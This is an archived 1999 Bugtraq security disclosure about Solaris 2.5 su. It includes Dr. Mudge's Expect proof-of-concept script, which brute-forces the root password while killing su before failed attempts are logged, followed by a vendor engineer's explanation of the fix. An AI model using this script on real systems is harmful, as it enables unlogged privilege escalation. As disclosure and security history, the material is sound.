ignore security and it'll go away

solaris.2.5.su.expect.txt

solaris.2.5.su.expect.txt
Posted Aug 17, 1999
Authored by Dr. Mudge

Sun Solaris 2.5 and earlier contain security hole in the 'su' program that allows scripted brute force attacks on the superuser password without the attacker being logged. Exploit script (coded in Expect) and detailed description included.

tags | exploit
systems | solaris
MD5 | d8bb6d4fc490d965f4daa1645fada82f

solaris.2.5.su.expect.txt

Change Mirror Download
Date: Thu, 10 Jun 1999 14:13:06 -0500
From: Dr. Mudge <mudge@L0PHT.COM>
To: BUGTRAQ@netspace.org
Subject: Solaris 2.5 /bin/su [was: vulnerability in su/PAM in redhat]

The same sort of problem existed in solaris /bin/su on 2.5 and below.

The comments in the quick proof of concept sploit below should explain
further [heh - almost as high a comment/code ratio as Hobbit's netcat
source :) ].


-----SNIP SNIP-----

#!/usr/local/bin/expect --

# A quick little sploit for a quick round of beers :) mudge@L0pht.com

#
# This was something that had been floating around for some time.
# It might have been bitwrior that pointed out some of the oddities
# but I don't remember.
#
# It was mentioned to Casper Dik at some point and it was fixed in
# the next rev of Solaris (don't remember if the fix took place in
# 2.5.1 or 2.6 - I know it is in 2.6 at least).
#
# What happened was that the Solaris 2.5 and below systems
# had /bin/su written in the following fashion :
#
# attempt to SU
# |
# succesfull
# / \
# Y N
# | |
# exec cmd sleep
# |
# syslog
# |
# exit
#
# There were a few problems here - not the least of which was that they
# did not bother to trap signals. Thus, if you noticed su taking a while
# you most likely entered an incorrect password and were in the
# sleep phase.
#
# Sending a SIGINT by hitting ctrl-c would kill the process
# before the syslog of the invalid attempt occured.
#
# In current versions of /bin/su they DO trap signals.
#
# It should be noted that this is a fairly common coding problem that
# people will find in a lot of "security related" programs.
#
# .mudge


if { ($argc < 1) || ($argc > 1) } {
puts "correct usage is : $argv0 pwfile"
exit
}

set pwfile [open $argv "r"]

log_user 0
foreach line [split [read $pwfile] "\n"] {
spawn su root
expect "Password:"
send "$line\n"
# you might need to tweak this but it should be ok
set timeout 2
expect {
"#" { puts "root password is $line\n" ; exit }
}
set id [ exp_pid ]
exec kill -INT $id
}

-----SNIP SNIP------

cheers,

.mudge
---------
For more advisories check out:
http://www.L0pht.com/advisories.html [ That's L-zero-P-H-T ]
---------


On Wed, 9 Jun 1999, Tani Hosokawa wrote:

> I was talking to some guy on IRC (st2) and he asked me to mention to
> bugtraq (because he's not on the list) that the PAMified su that comes
> with redhat has a slight hole. When you try to su to root (for example) if
> it's successful, immediately gives you a shell prompt. Otherwise, it
> delays a full second, then logs an authentication failure to syslog. If
> you hit break in that second, no error, plus you know that the password
> was bad, so you can brute force root's password. I wrote a little
> threaded Perl prog that tested it (with a 0.25 second delay before the
> break) to attack my own password (with my password in the wordlist) and it
> seemed to work just fine, even with my own password hundreds of words down
> in the list, so it seems pretty predictable, as long as the server's under
> very little load (else you get a delay no matter what, and it screws the
> whole process by giving false negatives).
>
> ---
> tani hosokawa
> river styx internet
>

------------------------------------------------------------------------------

Date: Thu, 10 Jun 1999 22:40:51 +0200
From: Casper Dik <casper@HOLLAND.SUN.COM>
To: BUGTRAQ@netspace.org
Subject: Re: Solaris 2.5 /bin/su [was: vulnerability in su/PAM in redhat]

>The same sort of problem existed in solaris /bin/su on 2.5 and below.
>
>The comments in the quick proof of concept sploit below should explain
>further [heh - almost as high a comment/code ratio as Hobbit's netcat
>source :) ].


The version of Solaris that fixed this made several changes;
Instead of

not trapping signals
and Sorry/sleep/syslog

the new version traps (some) signals and reorders the
calls to syslog/sleep/Sorry.

Of course, since you started the process you can still kill -9 it but
you won't know whether you typed the right password until long after
syslog() logged the bad "su".

Casper


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close